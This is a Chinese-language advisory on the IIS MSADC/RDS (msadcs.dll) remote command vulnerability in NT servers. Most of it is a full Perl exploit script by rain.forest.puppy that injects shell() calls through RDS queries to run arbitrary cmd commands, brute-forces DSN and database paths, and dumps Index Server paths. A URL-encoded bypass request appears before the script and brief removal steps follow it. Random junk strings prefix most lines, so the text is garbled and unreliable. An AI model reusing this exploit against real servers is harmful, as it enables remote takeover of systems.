IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*2@Ne[dYEF R:=i/P/ 涉及程序:
/z6NJ2jb Microsoft NT server
%A?Ym33 SZEX;M 描述:
{4UlJ,Z.n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
x2;92I{5C, 7x`uGmp1 详细:
H=EvT'g 如果你没有时间读详细内容的话,就删除:
BB9Z?} c:\Program Files\Common Files\System\Msadc\msadcs.dll
HnrT;!C~ 有关的安全问题就没有了。
K" Y,K #AE'arT< 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
9MVW~V X#IVjc:&L 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
W&)OiZN 关于利用ODBC远程漏洞的描述,请参看:
t[%9z6t DqbN=[!X~n http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm W%)
foJ R|Y)ow51 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Bx2E9/S3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q']:k}y e%#9|/uP 这里不再论述。
anHP5gD mq>Ag 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
&!a[rvtZ+ EPW
Iu)A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`
Y"Rh[C 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(:-=XR9A` -fn["R] 'Q?nU^:F# #将下面这段保存为txt文件,然后: "perl -x 文件名"
IKH#[jW'IB 5Tkh6 s #!perl
d'J))-*#UO #
qVx0VR1: # MSADC/RDS 'usage' (aka exploit) script
8g^OXZ #
c(i-~_ # by rain.forest.puppy
s9zdg"c' #
0O|T\E8e # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
e%o6s+" # beta test and find errors!
>DpnIWn rQ
LNo, use Socket; use Getopt::Std;
pO4}6\1\ getopts("e:vd:h:XR", \%args);
?E=&LAI# P%(pbG-X. print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ZoF\1C ^ ^3 F[^#" if (!defined $args{h} && !defined $args{R}) {
0l!@bj print qq~
iE0A-;:5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
y;3vr1? -h <host> = host you want to scan (ip or domain)
S2w|\" -d <seconds> = delay between calls, default 1 second
A{Jv`K
-X = dump Index Server path table, if available
qJKD|=_ -v = verbose
hT#[[md" -e = external dictionary file for step 5
;q59Cr 75 mM&H;W Or a -R will resume a command session
8S&` JIQS'r ~; exit;}
FD,M.kbg /k l0(=' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\M'b% if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
J+kxb"#d if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;a[56W if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2(Vm0E $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fYl$$. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
A!x_R {,yH NyFa2Ihd if (!defined $args{R}){ $ret = &has_msadc;
pg ;agtI die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S2@[F\|r TY],H= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nj@k|_1 . "cmd /c ";
==l p\ $in=<STDIN>; chomp $in;
YR=<xn;m. $command="cmd /c " . $in ;
i\XOk! p9y
"0A| if (defined $args{R}) {&load; exit;}
{|O8)bW' YO|Kc
{j2e print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%
Lhpj[C &try_btcustmr;
r*OSEzGUz y9?B vPp+ print "\nStep 2: Trying to make our own DSN...";
u yzc"di &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7AX<>^ /xWkP{ print "\nStep 3: Trying known DSNs...";
jxm.x[1ki^ &known_dsn;
(>%Ddj6_> pJ ;J>7Gt print "\nStep 4: Trying known .mdbs...";
5rr7lwWZ &known_mdb;
!= _:*U)-' x}?y@.sn8 if (defined $args{e}){
cO.U*UTmX print "\nStep 5: Trying dictionary of DSN names...";
~
b!mKyrZ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ola>] 0l BOQ2;@:3 print "Sorry Charley...maybe next time?\n";
W7c(]
tg. exit;
hCD0Zel hHm&u^xY ##############################################################################
{Nuwz|Ci U"v(9m@
sub sendraw { # ripped and modded from whisker
kOmTji7 sleep($delay); # it's a DoS on the server! At least on mine...
[-x~Q[ my ($pstr)=@_;
@kenv3[Lc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a]>gDDF die("Socket problems\n");
7<<pP if(connect(S,pack "SnA4x8",2,80,$target)){
;O}%_ef@ select(S); $|=1;
bjmUU6VLT print $pstr; my @in=<S>;
Ia=wf"JS) select(STDOUT); close(S);
V<$g^Vb return @in;
bc}U &X< } else { die("Can't connect...\n"); }}
vRpMZ)e cZuZfMDM ##############################################################################
4_ztIrw !h4S`2oZ/ sub make_header { # make the HTTP request
mnzamp my $msadc=<<EOT
(`5No:?v< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
tKjPLi71 User-Agent: ACTIVEDATA
|FHeT*" Host: $ip
"CapP`: Content-Length: $clen
fIu5d6;' Connection: Keep-Alive
+ByxhSIr hPE#l?H@A ADCClientVersion:01.06
y\$B9KX Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~}q"M[{ bIu'^ --!ADM!ROX!YOUR!WORLD!
>Vy=5)/i Content-Type: application/x-varg
o3 P`y:& Content-Length: $reqlen
QrDzfe[ Kn SXygT EOT
+AhR7R! ; $msadc=~s/\n/\r\n/g;
]tA39JK-i return $msadc;}
1mm/Ssw:C OmQSNU.our ##############################################################################
UO47XAO zmQ V6o=k sub make_req { # make the RDS request
%<6oKE my ($switch, $p1, $p2)=@_;
IHZ WNT2 my $req=""; my $t1, $t2, $query, $dsn;
7Vr .&`l G(~d1%( if ($switch==1){ # this is the btcustmr.mdb query
M=HW2xn $query="Select * from Customers where City=" . make_shell();
" ^u $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&W:Wv,3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
yH#zyO4fD- uc<XdFcu elsif ($switch==2){ # this is general make table query
VT96ph $query="create table AZZ (B int, C varchar(10))";
;{
u{FL $dsn="$p1";}
QU|{(c R"Nvnpm elsif ($switch==3){ # this is general exploit table query
S5*wUd*p# $query="select * from AZZ where C=" . make_shell();
PX65Z|~>_ $dsn="$p1";}
m(,vymt 0APwk
} elsif ($switch==4){ # attempt to hork file info from index server
L MC-1 $query="select path from scope()";
Dq/[g,( $dsn="Provider=MSIDXS;";}
>d!w&0z> O+%Y1=S[WQ elsif ($switch==5){ # bad query
&F1h3q)L $query="select";
8W)3rD> $dsn="$p1";}
}00mJ]H( 7Te`#" $t1= make_unicode($query);
_6Wz1.]n $t2= make_unicode($dsn);
HK)$ls $req = "\x02\x00\x03\x00";
j*t>CB4 $req.= "\x08\x00" . pack ("S1", length($t1));
r5%K2q{ $req.= "\x00\x00" . $t1 ;
#F@53N $req.= "\x08\x00" . pack ("S1", length($t2));
!f-mC,d $req.= "\x00\x00" . $t2 ;
5\8Ig f> $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
m8,P-m return $req;}
Y$uXBTR`y/ oe_l:Y% ##############################################################################
qUA&XUJ VJJGTkm sub make_shell { # this makes the shell() statement
*>ju1f return "'|shell(\"$command\")|'";}
xRpL\4cs 'uBXSP# ##############################################################################
ny%-u&1k 7m_Jb5 sub make_unicode { # quick little function to convert to unicode
;Xg6'yxJ my ($in)=@_; my $out;
ks<gSCB for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Idop!b5! return $out;}
A(X~pP&oF 5<w"iqZ\?N ##############################################################################
uNZJNrV% wvvMesX<L sub rdo_success { # checks for RDO return success (this is kludge)
}WS%nQA my (@in) = @_; my $base=content_start(@in);
)` -b\8uw if($in[$base]=~/multipart\/mixed/){
^Crl~~Gk` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,uqSq return 0;}
AX}l~
sv \!j{&cJ ##############################################################################
S9d+#6rn gm~Ka%O|F sub make_dsn { # this makes a DSN for us
NX&mEz my @drives=("c","d","e","f");
km,}7^?F0r print "\nMaking DSN: ";
mV^+`GWvo foreach $drive (@drives) {
I$xfCu print "$drive: ";
G`!#k!&r my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
jG)fM? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
u:&gp . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Yf&x]<rkCp $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,+<NP}Yg#G return 0 if $2 eq "404"; # not found/doesn't exist
pm$,B7Q`oO if($2 eq "200") {
KGdL1~ foreach $line (@results) {
@;2,TY>Di return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8`XpcK-0 } return 0;}
zRN_`U LL|$M;S
##############################################################################
mG@xehH W=41jw sub verify_exists {
\_}Y4 my ($page)=@_;
Qc#<RbLL my @results=sendraw("GET $page HTTP/1.0\n\n");
ba& \~_4 return $results[0];}
pE@Q
(9`b{ +:pjQ1LsJ ##############################################################################
~f0Bu:A) NF&R}7L sub try_btcustmr {
gd^1c}UZX my @drives=("c","d","e","f");
)D_# my @dirs=("winnt","winnt35","winnt351","win","windows");
,!_$A}@0
^ f?kA,! foreach $dir (@dirs) {
_Z z"` print "$dir -> "; # fun status so you can see progress
Z12-Vps foreach $drive (@drives) {
w^EAk(77 print "$drive: "; # ditto
Sx?IpcPSm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
jR`q y< $reqlenlen=length( "$reqlen" );
Tm~a&p $clen= 206 + $reqlenlen + $reqlen;
L^uO.eI"m $50A!h my @results=sendraw(make_header() . make_req(1,$drive,$dir));
e}Cp;c]= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"- @{ ) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<gRv7 ?V[z <x@brXA ##############################################################################
fBBNP) 7.-Q9xv sub odbc_error {
f{MXH&d 1\ my (@in)=@_; my $base;
,<s'/8Ik my $base = content_start(@in);
[t/7hx"2t if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:td6Mywl $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%Ez= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q$Qs$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'D(| NYY return $in[$base+4].$in[$base+5].$in[$base+6];}
H+y(W5|2/X print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2Sbo7e print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
B'"(qzE-kM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
T#%r\f,l0 Y ]&D;w ##############################################################################
swV/Mi> {^zieP! sub verbose {
Y5e6|b| my ($in)=@_;
p'z
fo! return if !$verbose;
0)n#$d> print STDOUT "\n$in\n";}
Tl"GOpH\] m [7@l ##############################################################################
}@%A@A{R ,paD/ sub save {
G6wBZ?)k my ($p1, $p2, $p3, $p4)=@_;
!j[Oyr| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
h}r64<Y2{ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?4v&TB@ close OUT;}
Jk=E"I6 :E'uV"j% ##############################################################################
N
GP}Z4 k)j,~JH sub load {
W@U<GF1 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w:%3]2c open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`%_ yRJd|; @p=<IN>; close(IN);
e<o{3*%p) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
OhMnG@@ $target= inet_aton($ip) || die("inet_aton problems");
'&?cW#J? print "Resuming to $ip ...";
wh8h1I
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A (z
lX_ if($p[1]==1) {
t@(S=i7}- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
3>;zk#b2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
MQ7d IUs my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bso l>M[< if (rdo_success(@results)){print "Success!\n";}
'Vq_/g!?1 else { print "failed\n"; verbose(odbc_error(@results));}}
x[l_dmq elsif ($p[1]==3){
.:gZ*ks~ if(run_query("$p[3]")){
6\"g,f print "Success!\n";} else { print "failed\n"; }}
9>,$q"M}? elsif ($p[1]==4){
Y&M}3H>E if(run_query($drvst . "$p[3]")){
fui;F"+1 print "Success!\n"; } else { print "failed\n"; }}
{jB& e, exit;}
40,u(4.m* k\(LBZ"vR ##############################################################################
pJ)PVo\cV !9w3/Gthj sub create_table {
8+'9K%'@qX my ($in)=@_;
('k;Ikut $reqlen=length( make_req(2,$in,"") ) - 28;
<j
CD^ $reqlenlen=length( "$reqlen" );
<NRW^#g<x $clen= 206 + $reqlenlen + $reqlen;
P X/{ my @results=sendraw(make_header() . make_req(2,$in,""));
5WJof`M return 1 if rdo_success(@results);
+b@KS"3h my $temp= odbc_error(@results); verbose($temp);
!Ab4'4f return 1 if $temp=~/Table 'AZZ' already exists/;
esE5#Yq4.k return 0;}
2}:{}pw XIQfgrGZ ##############################################################################
O*%
1 7;0$UYDU* sub known_dsn {
,m ^q> # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.3Ex=aQcX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"Z xM,kI "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*^ag wQ` "banner", "banners", "ads", "ADCDemo", "ADCTest");
YI[y/~! S
?v^/F foreach $dSn (@dsns) {
v&}+ps_W print ".";
,au-g)IFZ next if (!is_access("DSN=$dSn"));
7nr+X Os if(create_table("DSN=$dSn")){
iIrH&}2 print "$dSn successful\n";
C'5b)0km if(run_query("DSN=$dSn")){
xF|P6GXg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*\W
*,D.I print "Something's borked. Use verbose next time\n";}}} print "\n";}
4rXjso| /;P* ? ##############################################################################
Y\#+-E w]2tb sub is_access {
fd Vye|% my ($in)=@_;
PeCU V6 $reqlen=length( make_req(5,$in,"") ) - 28;
WGy3SV ) $reqlenlen=length( "$reqlen" );
lM0`yh $clen= 206 + $reqlenlen + $reqlen;
qU!xh) my @results=sendraw(make_header() . make_req(5,$in,""));
}~/u%vI@M5 my $temp= odbc_error(@results);
Wk3R6
V verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MZ9{*y[z return 0;}
N0U6N< w T\}? ##############################################################################
h$\+r< kFCjko sub run_query {
H{&o_ my ($in)=@_;
jGV+ ~a $reqlen=length( make_req(3,$in,"") ) - 28;
8&d s $reqlenlen=length( "$reqlen" );
r7dvj#^ $clen= 206 + $reqlenlen + $reqlen;
<hG] f% my @results=sendraw(make_header() . make_req(3,$in,""));
#L,>)Xk jS return 1 if rdo_success(@results);
rID_^g_tP8 my $temp= odbc_error(@results); verbose($temp);
a3i;r M2 return 0;}
~Ey)9phZK VE_% /Fs, ##############################################################################
"XvM1G&s` X0G
Mly sub known_mdb {
fK-tvP0}* my @drives=("c","d","e","f","g");
lawjGI my @dirs=("winnt","winnt35","winnt351","win","windows");
R
2.y=P8N my $dir, $drive, $mdb;
XLG6f(B= F my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Ed&;d+NM v-^7oai # this is sparse, because I don't know of many
Gvo|uB# my @sysmdbs=( "\\catroot\\icatalog.mdb",
<|qh5Scp "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
IvJ;9d "\\system32\\certmdb.mdb",
i,k.#Vx[m "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
L H>oG$a =2sj$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}Z^r<-N "\\cfusion\\cfapps\\forums\\forums_.mdb",
4[q'1N6- "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^Ob#B!= "\\cfusion\\cfapps\\security\\realm_.mdb",
W
PDL$y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/Q |guJx "\\cfusion\\database\\cfexamples.mdb",
4q<LNvJA "\\cfusion\\database\\cfsnippets.mdb",
.)eJL "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
.nGYx "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%+>t @F,GM "\\cfusion\\brighttiger\\database\\cleam.mdb",
$x%3^{G "\\cfusion\\database\\smpolicy.mdb",
j?eWh#[K" "\\cfusion\\database\cypress.mdb",
{'(1c)q> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
WnATgY t "\\website\\cgi-win\\dbsample.mdb",
kqyVUfX$3 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)Fa6'M "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
| dLA D4% ); #these are just
A4kYEA foreach $drive (@drives) {
ez2rCpA foreach $dir (@dirs){
K/^70;/!. foreach $mdb (@sysmdbs) {
d5b \kR r print ".";
_PI w""ssr if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'Cc(}YY0C print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
K9-?7X if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0u,OW print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fe,A\W&8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
$ U~3$*R fi/[(RBG foreach $drive (@drives) {
{9 PeBc foreach $mdb (@mdbs) {
gy%/zbZx print ".";
T(n<@Ac]V if(create_table($drv . $drive . $dir . $mdb)){
x+mfQcSD& print "\n" . $drive . $dir . $mdb . " successful\n";
wF@mHv if(run_query($drv . $drive . $dir . $mdb)){
.bwKG`F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Hh|a(Zq, } else { print "Something's borked. Use verbose next time\n"; }}}}
|G!P G6%1 }
^+v6?%m p-KMELB ##############################################################################
AdCi*="m p_K``JE sub hork_idx {
>_ )~"Ra print "\nAttempting to dump Index Server tables...\n";
;,z[|"y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xr }jw $reqlen=length( make_req(4,"","") ) - 28;
+N~?_5lv\s $reqlenlen=length( "$reqlen" );
&HS6} $clen= 206 + $reqlenlen + $reqlen;
3n\eCdV-b< my @results=sendraw2(make_header() . make_req(4,"",""));
e3|@H'~k if (rdo_success(@results)){
VaLx- RX my $max=@results; my $c; my %d;
8Gw0;Uu8D for($c=19; $c<$max; $c++){
kO1.27D $results[$c]=~s/\x00//g;
4sj:%%UE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"CS{fyJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
M*& tVG $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
S6J7^'h $d{"$1$2"}="";}
yUZ;keQ_Tw foreach $c (keys %d){ print "$c\n"; }
f]P&>j| } else {print "Index server doesn't seem to be installed.\n"; }}
d8Keyi8[ btQDG ##############################################################################
3`W=rIMli ;OE= ;\ sub dsn_dict {
`2 vv8cg^ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Cfz020u`g while(<IN>){
`0]kRA8= $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?<Tt1fpG next if (!is_access("DSN=$dSn"));
Do&em8i
z if(create_table("DSN=$dSn")){
R0 g- print "$dSn successful\n";
1|+Zmo" if(run_query("DSN=$dSn")){
Pf?*bI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,gvv297 print "Something's borked. Use verbose next time\n";}}}
C2~t print "\n"; close(IN);}
6NvdFss'A{ p4ML }q8 ##############################################################################
hx'p0HDta @M:Uf7 sub sendraw2 { # ripped and modded from whisker
uk8vecj sleep($delay); # it's a DoS on the server! At least on mine...
c]qq *k# my ($pstr)=@_;
G! y~Y]e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kQr\ktN\ die("Socket problems\n");
#i#4h<R if(connect(S,pack "SnA4x8",2,80,$target)){
@0XqUcV print "Connected. Getting data";
k"J[mT$b open(OUT,">raw.out"); my @in;
Tug}P K select(S); $|=1; print $pstr;
H;&^A5 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>
xc7Hr~ close(OUT); select(STDOUT); close(S); return @in;
0st)/\ } else { die("Can't connect...\n"); }}
b~M3j& b
r"47i ##############################################################################
(c{<JYEC %E!^SF?Y sub content_start { # this will take in the server headers
tkN5|95 my (@in)=@_; my $c;
{}vB#! for ($c=1;$c<500;$c++) {
r9x.c7=O if($in[$c] =~/^\x0d\x0a/){
w(sD}YA) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
L5E|1T else { return $c+1; }}}
1T{A(<:o$ return -1;} # it should never get here actually
U1+X!&OCp Bf&,ACOf ##############################################################################
WVP^C71 gC}r$ZB( sub funky {
M]S&vE{D my (@in)=@_; my $error=odbc_error(@in);
JN9
W:X. if($error=~/ADO could not find the specified provider/){
7TTU&7l~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
CC(At.dd exit;}
xB1Oh+@i if($error=~/A Handler is required/){
_x.!,
g{ print "\nServer has custom handler filters (they most likely are patched)\n";
[OH9/" exit;}
t)yWQV if($error=~/specified Handler has denied Access/){
1>JUI5 { print "\nServer has custom handler filters (they most likely are patched)\n";
d+5KHfkK exit;}}
(s/hK kc0YWW Q-: ##############################################################################
SnMHk3(\ $1Lm=2;U sub has_msadc {
i7qG5U my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
mN_KAln my $base=content_start(@results);
4t(V)1+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
m=Z1DJG return 0;}
}CR@XD}[ /$'R!d5r ########################
ebbC`eFD c,$ >u,4 B( ]=I@L=W 解决方案:
RCFocOOn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
xMk0Xf'_ 2、移除web 目录: /msadc